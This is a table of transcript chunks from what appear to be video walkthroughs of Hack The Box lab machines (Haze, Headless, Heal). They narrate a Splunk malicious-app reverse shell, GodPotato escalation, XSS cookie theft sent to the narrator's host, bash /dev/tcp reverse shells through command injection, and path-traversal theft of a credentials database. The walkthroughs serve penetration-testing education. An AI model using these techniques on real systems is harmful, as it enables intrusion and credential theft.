text stringlengths 4 952 | start float64 0 9.37k | duration float64 0 0 | meta dict |
|---|---|---|---|
Um maybe Etsy off splunk.se secret. There we go. So we have admin uh Splunk admin 2K24. | 2,794.16 | 0 | {
"video_id": "XwGwz8alwUU",
"title": "HackTheBox - Haze",
"url": "https://www.youtube.com/watch?v=XwGwz8alwUU"
} |
Um let's see what that file was again. Where was that? | 2,805.839 | 0 | {
"video_id": "XwGwz8alwUU",
"title": "HackTheBox - Haze",
"url": "https://www.youtube.com/watch?v=XwGwz8alwUU"
} |
Uh what do we just decrypt it out of the bind password for this? | 2,812.079 | 0 | {
"video_id": "XwGwz8alwUU",
"title": "HackTheBox - Haze",
"url": "https://www.youtube.com/watch?v=XwGwz8alwUU"
} |
So, let's do a less uh Alexander Green. So, we could try logging in as them. Uh where is that? Copy. Uh I probably have it here, right? Uh NXC. We can do Alexander Green. Hopefully I spelled that correctly. paste and we'll see if this lets us on the server. It does not. Um, Alex, I'm just going to copy and paste this r... | 2,818 | 0 | {
"video_id": "XwGwz8alwUU",
"title": "HackTheBox - Haze",
"url": "https://www.youtube.com/watch?v=XwGwz8alwUU"
} |
This is probably the running config. The usernames here u if we cat Etsy pass WD it's only got one user admin. So that could also be how you know um what the user is for Splunk. And now once we log in we're an admin on Splunk. And what we can do is manage apps and install a malicious application. So I'm going to Google... | 2,902.88 | 0 | {
"video_id": "XwGwz8alwUU",
"title": "HackTheBox - Haze",
"url": "https://www.youtube.com/watch?v=XwGwz8alwUU"
} |
maybe go to Google, go to the reverse shell Splunk, and this is the one we're going to use. So, I'm going to do a get clone just to download it. And it gives simple instructions. Um, we just to modify the PowerShell and then uh zip it up, right? So, it gives the tar and this. So, let's go into the reverse shell. | 2,929.599 | 0 | {
"video_id": "XwGwz8alwUU",
"title": "HackTheBox - Haze",
"url": "https://www.youtube.com/watch?v=XwGwz8alwUU"
} |
Okay. And if we go default inputs.com, we don't have to do this. I'm just going to do it. The Python is for when it's Linux. The BAT is for when it's Windows. I'm just going to delete the Linux because we know we're on Windows. So, we have that done. And then if we go to bin, if we look at run.bat, it's just going to e... | 2,957.68 | 0 | {
"video_id": "XwGwz8alwUU",
"title": "HackTheBox - Haze",
"url": "https://www.youtube.com/watch?v=XwGwz8alwUU"
} |
And we see it just wants us to put the IP address and port. So I'm going to do uh 10 1048. And then my port is going to be 9,0001. | 2,985.68 | 0 | {
"video_id": "XwGwz8alwUU",
"title": "HackTheBox - Haze",
"url": "https://www.youtube.com/watch?v=XwGwz8alwUU"
} |
And I'm going to save that. And then we just want to follow the instructions to t it up. So I'm going to copy this paste and do that error. Uh no such file or directory because I in one too deep. So let's delete what we had just made. There we go. | 2,998.319 | 0 | {
"video_id": "XwGwz8alwUU",
"title": "HackTheBox - Haze",
"url": "https://www.youtube.com/watch?v=XwGwz8alwUU"
} |
Okay. So we tar that. Now we want to rename it to be splunk reverse shell. SPL. Um I'm not sure why they didn't just name it from the tar command. That move command is completely unnecessary. Um, but now that we have the app, we can install from a file browse. And actually before I do this, let's do RL wrap nclvnp 9000... | 3,024.72 | 0 | {
"video_id": "XwGwz8alwUU",
"title": "HackTheBox - Haze",
"url": "https://www.youtube.com/watch?v=XwGwz8alwUU"
} |
Okay. And we want to do htb haze. | 3,056.079 | 0 | {
"video_id": "XwGwz8alwUU",
"title": "HackTheBox - Haze",
"url": "https://www.youtube.com/watch?v=XwGwz8alwUU"
} |
Um, reverse shell Splunk. | 3,062.16 | 0 | {
"video_id": "XwGwz8alwUU",
"title": "HackTheBox - Haze",
"url": "https://www.youtube.com/watch?v=XwGwz8alwUU"
} |
I guess I'm here. Where'd I save that file? | 3,071.52 | 0 | {
"video_id": "XwGwz8alwUU",
"title": "HackTheBox - Haze",
"url": "https://www.youtube.com/watch?v=XwGwz8alwUU"
} |
I am in reverse shell Splunk. Okay, there it is. I swear I did not see this file just a second ago. Upload. | 3,079.839 | 0 | {
"video_id": "XwGwz8alwUU",
"title": "HackTheBox - Haze",
"url": "https://www.youtube.com/watch?v=XwGwz8alwUU"
} |
Waiting for it to come back. There we go. Connect. And we do who am I/all uh we can see we have the se impersonate privilege. So we should be able to use a potato and we are Alexander green. So let's now go ahead and I'm going to download a I think god potato is the latest one. Um there's so many potatoes. | 3,087.52 | 0 | {
"video_id": "XwGwz8alwUU",
"title": "HackTheBox - Haze",
"url": "https://www.youtube.com/watch?v=XwGwz8alwUU"
} |
I think like sweet potato would work. I think maybe juicy potato ng may work. Um I'm just going to use god potato. Uh they're all just various tools to exploit the SE impersonate privilege. | 3,111.359 | 0 | {
"video_id": "XwGwz8alwUU",
"title": "HackTheBox - Haze",
"url": "https://www.youtube.com/watch?v=XwGwz8alwUU"
} |
So let's go ahead and download God Potato Net 4. | 3,125.839 | 0 | {
"video_id": "XwGwz8alwUU",
"title": "HackTheBox - Haze",
"url": "https://www.youtube.com/watch?v=XwGwz8alwUU"
} |
Uh do I have a dubdubdub already? Uh I don't think so. | 3,131.119 | 0 | {
"video_id": "XwGwz8alwUU",
"title": "HackTheBox - Haze",
"url": "https://www.youtube.com/watch?v=XwGwz8alwUU"
} |
So we'll do make dubdubdub. Go in here wget. | 3,139.92 | 0 | {
"video_id": "XwGwz8alwUU",
"title": "HackTheBox - Haze",
"url": "https://www.youtube.com/watch?v=XwGwz8alwUU"
} |
And then I'm also going to download netcat because we'll need that to send the shell easily. So I'm going to do netcat windows. And if you download like the first result off of GitHub, this it doesn't actually have the dash e. Um I know I wasted a little bit of time playing around with this and then I read the um instr... | 3,145.76 | 0 | {
"video_id": "XwGwz8alwUU",
"title": "HackTheBox - Haze",
"url": "https://www.youtube.com/watch?v=XwGwz8alwUU"
} |
There is a do netcat that has it removed. This doesn't have a release. So, this is not it. Um, let's see. Eternally bored. There we go. Maybe it's just like NC64 Windows. I had Googled. I Googled something and got something I normally don't. Uh, this it vins world. So, if you go here and download this netcat, it's not ... | 3,176.16 | 0 | {
"video_id": "XwGwz8alwUU",
"title": "HackTheBox - Haze",
"url": "https://www.youtube.com/watch?v=XwGwz8alwUU"
} |
So don't use this one. Um, I used it because I saw it on GitHub. It had a Windows version. I downloaded it and was confused why I wasn't getting a shell. Um, you want to use the one off of Eternally Bored. I'm just going to download this link wget. And it's probably on parrot somewhere. Um, I don't know though. | 3,208.88 | 0 | {
"video_id": "XwGwz8alwUU",
"title": "HackTheBox - Haze",
"url": "https://www.youtube.com/watch?v=XwGwz8alwUU"
} |
7z. I forgot the X again to extract. There we go. And we have NC64.exe. | 3,233.359 | 0 | {
"video_id": "XwGwz8alwUU",
"title": "HackTheBox - Haze",
"url": "https://www.youtube.com/watch?v=XwGwz8alwUU"
} |
Awesome. So, we have God Potato and NC. So, I'm going to go to CD program data. | 3,240.559 | 0 | {
"video_id": "XwGwz8alwUU",
"title": "HackTheBox - Haze",
"url": "https://www.youtube.com/watch?v=XwGwz8alwUU"
} |
I'm just going to do a curl http 101048 port 8000 uh Python 3M http server. | 3,246.64 | 0 | {
"video_id": "XwGwz8alwUU",
"title": "HackTheBox - Haze",
"url": "https://www.youtube.com/watch?v=XwGwz8alwUU"
} |
Let's download this. And the output, I'm just going to call it gp.exe exe for God potato. | 3,255.119 | 0 | {
"video_id": "XwGwz8alwUU",
"title": "HackTheBox - Haze",
"url": "https://www.youtube.com/watch?v=XwGwz8alwUU"
} |
And then I'm also going to download um netcat 64. | 3,263.04 | 0 | {
"video_id": "XwGwz8alwUU",
"title": "HackTheBox - Haze",
"url": "https://www.youtube.com/watch?v=XwGwz8alwUU"
} |
So copy nc64.exe and I'll just call it nc.exe. | 3,269.04 | 0 | {
"video_id": "XwGwz8alwUU",
"title": "HackTheBox - Haze",
"url": "https://www.youtube.com/watch?v=XwGwz8alwUU"
} |
Okay. So we can do nvnp 90001. And then going back to um god potato, we'll see how to use it. It just wants God potato cmd and then the command. Um, and they do full path to uh, they're not doing full path there, but I will. So, let's see. We'll do dot slashgp.exe- cmd and then cprogram data nc.exe 10148 90001. And we'... | 3,276.16 | 0 | {
"video_id": "XwGwz8alwUU",
"title": "HackTheBox - Haze",
"url": "https://www.youtube.com/watch?v=XwGwz8alwUU"
} |
I'm just going to try PowerShell real quick and then we'll wrap up the video. So we can do this PowerShell.exe. | 3,368.72 | 0 | {
"video_id": "XwGwz8alwUU",
"title": "HackTheBox - Haze",
"url": "https://www.youtube.com/watch?v=XwGwz8alwUU"
} |
Uh did PowerShell not work? | 3,381.119 | 0 | {
"video_id": "XwGwz8alwUU",
"title": "HackTheBox - Haze",
"url": "https://www.youtube.com/watch?v=XwGwz8alwUU"
} |
Is it going to make me find where PowerShell is? That's always annoying. | 3,392.4 | 0 | {
"video_id": "XwGwz8alwUU",
"title": "HackTheBox - Haze",
"url": "https://www.youtube.com/watch?v=XwGwz8alwUU"
} |
Um, so May Powell doesn't allow us to use impersonation. | 3,401.68 | 0 | {
"video_id": "XwGwz8alwUU",
"title": "HackTheBox - Haze",
"url": "https://www.youtube.com/watch?v=XwGwz8alwUU"
} |
If I do something that doesn't exist, do we get a connection? We do. And it hangs. So PowerShell is definitely doing something. And okay, sweet. I was worried that everything hung. Um, so what I was testing there is, um, what was it going to say? If I just got a connection at closed, then I would be thinking, oh, it do... | 3,407.44 | 0 | {
"video_id": "XwGwz8alwUU",
"title": "HackTheBox - Haze",
"url": "https://www.youtube.com/watch?v=XwGwz8alwUU"
} |
So, it's got to be some something along with the token it is requesting. um doesn't have privilege to run some things. Uh it's really weird token shenanigans in Windows. But that's going to be the video. Hope you guys enjoyed it. Take care and I will see you all next | 3,446.079 | 0 | {
"video_id": "XwGwz8alwUU",
"title": "HackTheBox - Haze",
"url": "https://www.youtube.com/watch?v=XwGwz8alwUU"
} |
what's going on YouTube this is iack doing headless from hack the box which is a relatively simple machine it starts out with a cross-site scripting attack in a contact form in order to trigger it though you have to use cross scripting in the message to trigger a hacking attempt message and then that page sends all the... | 0.16 | 0 | {
"video_id": "FDCpJbS1OuQ",
"title": "HackTheBox - Headless",
"url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"
} |
administrator account there's a basic command injection in the um generate report feature and then once you get a shell it's exploiting a bash script that you can execute with pseudo so with that being said let's jump in as always we're going to start off with an end map so- SCC for default scripts as V enumerate versi... | 43.96 | 0 | {
"video_id": "FDCpJbS1OuQ",
"title": "HackTheBox - Headless",
"url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"
} |
can see this is easily an HTTP request because well we have the HTTP headers and then we have some HTML the server is work Zug which is going to be python so we know this is a python web server and it's setting the cookie that says is admin and then giving us two strings and this just looks like it is base 64 URL encod... | 92.6 | 0 | {
"video_id": "FDCpJbS1OuQ",
"title": "HackTheBox - Headless",
"url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"
} |
tool called ENT to measure the entropy I just installed this through apt and if it's above three I generally think it's going to be some type of random data it's not true random it should really be like 6 to8 for True random but this doesn't look like text to me seeing an entropy of close to four so I'm going to guess ... | 145.959 | 0 | {
"video_id": "FDCpJbS1OuQ",
"title": "HackTheBox - Headless",
"url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"
} |
see my cookie is set and it's setting it here um see if I remove this the cookie is not changing at all so we know time is not a factor of the cookie which generally is pretty bad because there's no session management if a cookie got compromised there's no way to revoke it like there's no log out functionality because ... | 208.519 | 0 | {
"video_id": "FDCpJbS1OuQ",
"title": "HackTheBox - Headless",
"url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"
} |
that runs let's go just take a look at the website it says welcome to the website for questions click here and I'm going to turn intercept off so we can click around uh first name we do IPC root ic. | 267.4 | 0 | {
"video_id": "FDCpJbS1OuQ",
"title": "HackTheBox - Headless",
"url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"
} |
rocks then 55512 31234 and a message of um hello world let's just see what happens here it just goes away if we look at the HTTP history we do this post doesn't show too much so what I want to do is uh if I click back will it give me all my data it does sweet um let's just do like an image source is equal to http 10 10... | 281.24 | 0 | {
"video_id": "FDCpJbS1OuQ",
"title": "HackTheBox - Headless",
"url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"
} |
putting um HTML here or we can play with dashboard I'm going to play with Dash dasboard really quick and then we're going go over to um the other one so let's just do a get on SL dashboard and we get unauthorized if I don't set the cookie we get unauthorized still um I'm going to not set the signature internal server e... | 355.319 | 0 | {
"video_id": "FDCpJbS1OuQ",
"title": "HackTheBox - Headless",
"url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"
} |
and then we're going to do the standard thing of putting JavaScript in the user agent so well we'll just do HTML actually normally when I test for cross-site scripting I test um HTML characters first we'll just do the U for underline testing xss and I know this is just HTML injection but uh bear with me so I'm going to... | 433.4 | 0 | {
"video_id": "FDCpJbS1OuQ",
"title": "HackTheBox - Headless",
"url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"
} |
8,000 and then I close that I can do it again right so all that K does is keep open um I like doing this just again because I get all the uh headers so let's go back to http history we sent this post we and send it over to repeater and instead of doing it in the user agent I'm going to do it in let's do it a cookie so ... | 499.479 | 0 | {
"video_id": "FDCpJbS1OuQ",
"title": "HackTheBox - Headless",
"url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"
} |
use like javascript's fetch in order to fetch some pages on the server maybe fetch the dashboard and see what it shows also um actually on the end of the video we'll do this because we have a hacking attempt this message here if the cookie was set with HTTP only which means like we can't xfill it the way we're about to... | 569.8 | 0 | {
"video_id": "FDCpJbS1OuQ",
"title": "HackTheBox - Headless",
"url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"
} |
101018 getting .js and um yeah the referral is Local Host so if we wanted to um do this method of stealing the cookie that way we have to keep in mind they're not going to 10 10 118 they're going to Local Host and that's important because if you go to 101018 it would have a different set of cookies because that's how w... | 622 | 0 | {
"video_id": "FDCpJbS1OuQ",
"title": "HackTheBox - Headless",
"url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"
} |
and let's do a plus document.cookie so I'm going to send this and I guess what we probably should have done is intercept it and sent it so we could steal our own cookie to make sure everything's working because there could be things that we don't um can't because we can see it here but the server could have things like... | 689.92 | 0 | {
"video_id": "FDCpJbS1OuQ",
"title": "HackTheBox - Headless",
"url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"
} |
cookie and not a user agent is because user agents are generally logged so cookies generally are not logged at least as well uh we could even make our own header if we wanted to because it's displaying the whole thing um I'm going to go click back real quick we probably have intercept mode on so we'll do proxy turn tha... | 739.72 | 0 | {
"video_id": "FDCpJbS1OuQ",
"title": "HackTheBox - Headless",
"url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"
} |
see IP has been logged why is Cookie not showing up I wonder if my I think when I did control U it's not actually sending all the post data but I would look at um this I can do it through this tab as well right this will show me the active page without doing view source so we go here we can see it did in indeed hit thi... | 805.16 | 0 | {
"video_id": "FDCpJbS1OuQ",
"title": "HackTheBox - Headless",
"url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"
} |
unauthorized maybe I didn't copy it ivv AMF so we definitely did not copy correctly there we go refresh and we get a page so this is the administr dashboard uh we can generate a report if I click this it just says system is up and running I'm going to change the date and we're not really getting that much let's just in... | 872.759 | 0 | {
"video_id": "FDCpJbS1OuQ",
"title": "HackTheBox - Headless",
"url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"
} |
injection um but that's why you always test with like sleeps and things like that you could also ping yourself so I'm going to do a B- C b-i Dev TCP 101048 901 and I'm going to send this over to myself let's do nvmp 91 send it and I screwed up my shell I did not do the zero and one like that um is that how I do it eurl... | 949.72 | 0 | {
"video_id": "FDCpJbS1OuQ",
"title": "HackTheBox - Headless",
"url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"
} |
functionality here that would indicate a database is even being used and it's interesting that um I guess the web user has right access to this because that is from my failed reverse shell I believe the just one being there um but since there's no database being used we can confirm that also with like an SS to see if m... | 1,034.679 | 0 | {
"video_id": "FDCpJbS1OuQ",
"title": "HackTheBox - Headless",
"url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"
} |
looks like we can run Cy Che um I wonder if Cy Che is being used in the web app if that's like how the date is generated it doesn't look like it so let's just see what this file is um let's do a file against it first it is a bash script so let's do a cat um wonder if I can Vim it uh v no that does not look good I was h... | 1,088.76 | 0 | {
"video_id": "FDCpJbS1OuQ",
"title": "HackTheBox - Headless",
"url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"
} |
modified uh dis dis space you may think like uh this is user input because in bash like arguments this how I specify ARG one ARG 2 ARG three but it is in single qut so it is terminated and this this is also how you specify um the field and a so this isn't taking user input so we can't just um do the same thing we did w... | 1,154.159 | 0 | {
"video_id": "FDCpJbS1OuQ",
"title": "HackTheBox - Headless",
"url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"
} |
dbsh and then we'll hide error messages and we don't need to know like the script in order to exploit it we just said there wasn't a database and it looks like there's a database script so I wanted to um check that out nothing too interesting there I'm just going to go to uh Dev shm uh let's touch a nit DB I'm going to... | 1,220.039 | 0 | {
"video_id": "FDCpJbS1OuQ",
"title": "HackTheBox - Headless",
"url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"
} |
always like going a little bit beyond um and this whole cookie that we had let's see the whole cookie when we stole it um let's go back over into storage the HTTP only is set to false now in most applications it's going to be set to true and if that's the case then the whole like writing document.cookie isn't going to ... | 1,282.44 | 0 | {
"video_id": "FDCpJbS1OuQ",
"title": "HackTheBox - Headless",
"url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"
} |
just play with some cross- site scripting for a little bit because this video is a bit quick and I want to play with cross a scripting right so let's make a PJs and I'm going to start off by writing a async function of post data and we post the URL and the data we want right so this is going to be a wrapper around Fetc... | 1,346.88 | 0 | {
"video_id": "FDCpJbS1OuQ",
"title": "HackTheBox - Headless",
"url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"
} |
JavaScript I need a refresher on exactly how this works because I don't have JavaScript memorized proper way to make this let's go to stack Overflow get device async okay this looks right so what I want to do is say a const response is equal to to fetch we'll fetch the URL and then we have to write pretty much the head... | 1,411.799 | 0 | {
"video_id": "FDCpJbS1OuQ",
"title": "HackTheBox - Headless",
"url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"
} |
Ty I don't think we need any other headers um I always like disabling the cash and I think that's all we do oh we have to send the body of course uh body is going to be data and then we can exit this request and say constant result you should probably check it like you could probably do a like a try up here and then wr... | 1,492.08 | 0 | {
"video_id": "FDCpJbS1OuQ",
"title": "HackTheBox - Headless",
"url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"
} |
and not uh 10 10 118 I want to say um I'm just dynamically pulling it from the browser this way so this way I'm not depending on knowing how the other end of the request is accessing it other than the port I don't know if I can pull the port through JavaScript I'm sure if I asked chippity I could uh figure that out qui... | 1,574.399 | 0 | {
"video_id": "FDCpJbS1OuQ",
"title": "HackTheBox - Headless",
"url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"
} |
highlighted um let's do constant page is equal to a wait post data and then we can say HTTP location slash support like that I do this in back tis I don't know why it just fixes The Bash highlighting I think if I did single quotes it would still uh put location as a variable not positive by that though so we can do tha... | 1,636.2 | 0 | {
"video_id": "FDCpJbS1OuQ",
"title": "HackTheBox - Headless",
"url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"
} |
browser make a request to support so we trigger the hacking detected message and we assign that to page and then we send this back over to us so let's see if this works um python 3- mhtp server I probably have a web server up already I do which window is that in it's probably here this should be fine so let's test this... | 1,717.919 | 0 | {
"video_id": "FDCpJbS1OuQ",
"title": "HackTheBox - Headless",
"url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"
} |
function response. text is it just that did I call it response also response I'm going to try that let's go back submit script source is equal to should have not got rid of my clipboard to send to repeater so we send the post and this is sending it so this is the post request where is it sending to 10 10 118 did it wor... | 1,823.399 | 0 | {
"video_id": "FDCpJbS1OuQ",
"title": "HackTheBox - Headless",
"url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"
} |
settings content type let's edit this does not match so burp isn't showing us JavaScript um I like removing that rule when doing cross scripting things like this so now let's go through this um I have an error definitely somewhere okay we're going to forward this request we get PJs so browser gets that then we send a p... | 1,997.6 | 0 | {
"video_id": "FDCpJbS1OuQ",
"title": "HackTheBox - Headless",
"url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"
} |
JS we should have waited and I'm thinking we didn't await because we saw this request go off if we go back over into HTTP history um there's where we get the JavaScript we're pulling the hacking attempted page and then this is us sending it back to us it's confusing because 11.8 is the box and 14.8 is me but when we se... | 2,089.399 | 0 | {
"video_id": "FDCpJbS1OuQ",
"title": "HackTheBox - Headless",
"url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"
} |
post and then it didn't send anything and that's because response. is not a function there's something subtle in this that's probably where response. | 2,182.76 | 0 | {
"video_id": "FDCpJbS1OuQ",
"title": "HackTheBox - Headless",
"url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"
} |
text is falling oh duh this has to be awaited there we go so without a wait it just means it's going to run this and continue the next line because it's an async function right so didn't put a wait here um response never finished getting declared so when we hit down here it wasn't the object from Fetch that has to be t... | 2,196.96 | 0 | {
"video_id": "FDCpJbS1OuQ",
"title": "HackTheBox - Headless",
"url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"
} |
data is that it is it's just formatted awfully at reboot it runs inspect reports I was seeing how often this runs uh every minute so hopefully we see a request soon let's see 10 10 148 JS yes there we go so there they go the Box hit us and um we can see whoops the HST is set to Local Host Port 5000 um and it sent us th... | 2,301.2 | 0 | {
"video_id": "FDCpJbS1OuQ",
"title": "HackTheBox - Headless",
"url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"
} |
don't know we can now say request this to dashboard and we don't need this post data so now this should just magically send us a shell from the cross state scripting which would be pretty cool I think right so let's do NCL lvmp 901 and we can test it from since we have the admin cookie uh we can just test it right away... | 2,415.24 | 0 | {
"video_id": "FDCpJbS1OuQ",
"title": "HackTheBox - Headless",
"url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"
} |
time hopefully it all magically Works intercept on send this okay repeater grab the cookie paste sometimes I really hate clipboards there we go make sure we're listenting on 90001 we send now we're sending the post to dashboard and it did not get a shell that is bizarre let's see oh we don't have the parameter name um ... | 2,519.76 | 0 | {
"video_id": "FDCpJbS1OuQ",
"title": "HackTheBox - Headless",
"url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"
} |
work and I know I probably just Jinx my Myself by saying that forward yep posting the dashboard and we did not get a shell oh why did I have to say that let's see bash C bash I Dev TCP 101048 901 why are you not working because I said data not date let's see dat so hopefully now is the time I can no longer screw up int... | 2,634.68 | 0 | {
"video_id": "FDCpJbS1OuQ",
"title": "HackTheBox - Headless",
"url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"
} |
you all next time | 2,740.68 | 0 | {
"video_id": "FDCpJbS1OuQ",
"title": "HackTheBox - Headless",
"url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"
} |
What's going on YouTube? This is Ipsac doing Heel from Hack the Box, which is a nice medium box. And when you start this box, you quickly discover two subdomains that run vastly different technology stacks, an API and survey domain. The API subdomain is a Ruby on Rails app, and the survey is PHP running some software c... | 0.24 | 0 | {
"video_id": "7KsIks7bdp8",
"title": "HackTheBox - Heal",
"url": "https://www.youtube.com/watch?v=7KsIks7bdp8"
} |
can quickly traverse it, find the database config, which then points to where the SQLite database is. You can download that and crack the password. Once you have credentials, you can log into lime survey, submit a malicious plugin to get code execution on the box and then from here you can exploit a service called cons... | 44.079 | 0 | {
"video_id": "7KsIks7bdp8",
"title": "HackTheBox - Heal",
"url": "https://www.youtube.com/watch?v=7KsIks7bdp8"
} |
We also have HTTP on port 80. Its banner tells us it's engine X also running on Ubuntu and it's directing us over to heel.htb. So, let's go ahead and add this to our host file. So, we'll do pseudov etsy host and then we can add 1010 1146 gel.htb htb and let's go take a look at the website in our browser. We get the fas... | 90.72 | 0 | {
"video_id": "7KsIks7bdp8",
"title": "HackTheBox - Heal",
"url": "https://www.youtube.com/watch?v=7KsIks7bdp8"
} |
domain. So api.heel.htb. Save that. And then when we click sign up again, we have it successful. Now if you're going through burpuite um its cache may be a little bit longer than you expect. So it may take like two minutes before that host can resolve, but I haven't sent through burpuite yet, so we don't have that issu... | 147.68 | 0 | {
"video_id": "7KsIks7bdp8",
"title": "HackTheBox - Heal",
"url": "https://www.youtube.com/watch?v=7KsIks7bdp8"
} |
file. Save that. And if I refresh, I still get this unknown host. If I take uh burp suite off, so we'll disable. Uh I said disable. Refresh. It should be going through. Looks like it is. So we just have to wait probably 2 minutes for Burpuite to um flush the DNS on its own. But we don't need to send it through Burpuite... | 204.84 | 0 | {
"video_id": "7KsIks7bdp8",
"title": "HackTheBox - Heal",
"url": "https://www.youtube.com/watch?v=7KsIks7bdp8"
} |
Doesn't look like it is. If I just go to the root of the page, we see Lime Survey. So, this is free and open source. So, the first thing I always do is go GitHub uh Google Lime Survey. And then we can take a look at the um GitHub page. So the thing I'm looking for is a way to enumerate the version. And I want to say um... | 246.239 | 0 | {
"video_id": "7KsIks7bdp8",
"title": "HackTheBox - Heal",
"url": "https://www.youtube.com/watch?v=7KsIks7bdp8"
} |
version. So, I'm going to see if Doc's release notes exist on the server because that's how we can detect the exact version of Lime Survey. Looks like it is. So, we see it is um from September 23rd, 2024. And it's this version. We could Google like Lime Survey this version exploit. And let's see, we have an RCE exploit... | 311.919 | 0 | {
"video_id": "7KsIks7bdp8",
"title": "HackTheBox - Heal",
"url": "https://www.youtube.com/watch?v=7KsIks7bdp8"
} |
the ability for a plugin to run PHP code which is perfectly legitimate. So there's not much here we can go off of. But if we took a step back and looked back at what we could do once we could log in. So I'm going to go um let's just check API heel.htb HTTP uh HTTP API heel HTTP we can see this is a Ruby on Rails applic... | 375.68 | 0 | {
"video_id": "7KsIks7bdp8",
"title": "HackTheBox - Heal",
"url": "https://www.youtube.com/watch?v=7KsIks7bdp8"
} |
forgeries. So, um I'm not going to dig into this that much because I don't know what we can actually gain from it right now. If I ever saw like the web browser showing um you can't access um the location from this IP address, then I try this because the SSRF would allow us to make a web request from the server itself. ... | 446.96 | 0 | {
"video_id": "7KsIks7bdp8",
"title": "HackTheBox - Heal",
"url": "https://www.youtube.com/watch?v=7KsIks7bdp8"
} |
It should be um enough time for my cache to be updated. I'm going to click export as PDF and we're just going to examine this, right? We're going to send a post request and we're going to send the contents of this PDF file. And then we're going to do an options request on download. And this options is just going to tel... | 485.919 | 0 | {
"video_id": "7KsIks7bdp8",
"title": "HackTheBox - Heal",
"url": "https://www.youtube.com/watch?v=7KsIks7bdp8"
} |
And then we have a git and then a file name. And this is how we download the PDF. So, I'm going to try just a um file I know exists. Let's try etsy passwd. And there we go. We have a file disclosure vulnerability here. So, since I got this passd file, I'm just going to copy it. And then I'm going to um v pastd paste it... | 530.08 | 0 | {
"video_id": "7KsIks7bdp8",
"title": "HackTheBox - Heal",
"url": "https://www.youtube.com/watch?v=7KsIks7bdp8"
} |
trying to do right here is uh see exactly how um Rails apps are structured, right? Because we have a file disclosure vulnerability. I want to know how to like pillage the database, things like that. So, if we look here in the home directory of Rails, we have a gem file. So that's what I'm going to look for first. So le... | 596 | 0 | {
"video_id": "7KsIks7bdp8",
"title": "HackTheBox - Heal",
"url": "https://www.youtube.com/watch?v=7KsIks7bdp8"
} |
it, but I think there's a config database.l or there should be uh let's see. I'm going to try it real quick. Config. Let's try database.yamel. I'm not sure why it didn't exist in this hello world app. Maybe because there was no database stood up. Um, so this is just something I guess you should know from looking at Rai... | 650.48 | 0 | {
"video_id": "7KsIks7bdp8",
"title": "HackTheBox - Heal",
"url": "https://www.youtube.com/watch?v=7KsIks7bdp8"
} |
development as well. So, I'm going to go ahead and see if I can access the SQLite 3 database. And I can. So, let's copy this to a file. So, uh, rightclick, copy to file. And then I'm going to call this, uh, database.sqlite3. SQL light 3. | 705.2 | 0 | {
"video_id": "7KsIks7bdp8",
"title": "HackTheBox - Heal",
"url": "https://www.youtube.com/watch?v=7KsIks7bdp8"
} |
Save it. And then I'm going to delete the HTTP header. There we go. Save it. SQLite 3 database.dump to see if we can see the contents. And we can. Awesome. So, let's see where are the usernames. Uh, we have insert into users Ralph right here. And we have a hash. So, let's go ahead and um go into the Kraken. We can go c... | 726.959 | 0 | {
"video_id": "7KsIks7bdp8",
"title": "HackTheBox - Heal",
"url": "https://www.youtube.com/watch?v=7KsIks7bdp8"
} |
ralphel.htb. So, the first thing I want to do is um log into the application. | 805.399 | 0 | {
"video_id": "7KsIks7bdp8",
"title": "HackTheBox - Heal",
"url": "https://www.youtube.com/watch?v=7KsIks7bdp8"
} |
Let's see. We can do log out and then username Ralph and then put in that password. And looking at this, we don't really have anything um interesting in the resume. Clicking on profile, we are an admin um survey. There's nothing else here. | 810.959 | 0 | {
"video_id": "7KsIks7bdp8",
"title": "HackTheBox - Heal",
"url": "https://www.youtube.com/watch?v=7KsIks7bdp8"
} |
So, we may want to use this account to enumerate the API potentially. So, we'd have to like fuzz the API, look for hidden endpoints. But, we do have Lime Survey as well. And we know there's a code execution path if we have um authentication. So I'm going to do /admin because normally that's how you get to login prompts... | 831.2 | 0 | {
"video_id": "7KsIks7bdp8",
"title": "HackTheBox - Heal",
"url": "https://www.youtube.com/watch?v=7KsIks7bdp8"
} |
as well for code execution because a lot of times when you log into these applications, these themes are just PHP um files or whatever. And we can normally put code in there to get code execution. So I'm going to go into theme editor and let's see how we can edit this. I think we have to click extend in order to edit t... | 888.48 | 0 | {
"video_id": "7KsIks7bdp8",
"title": "HackTheBox - Heal",
"url": "https://www.youtube.com/watch?v=7KsIks7bdp8"
} |
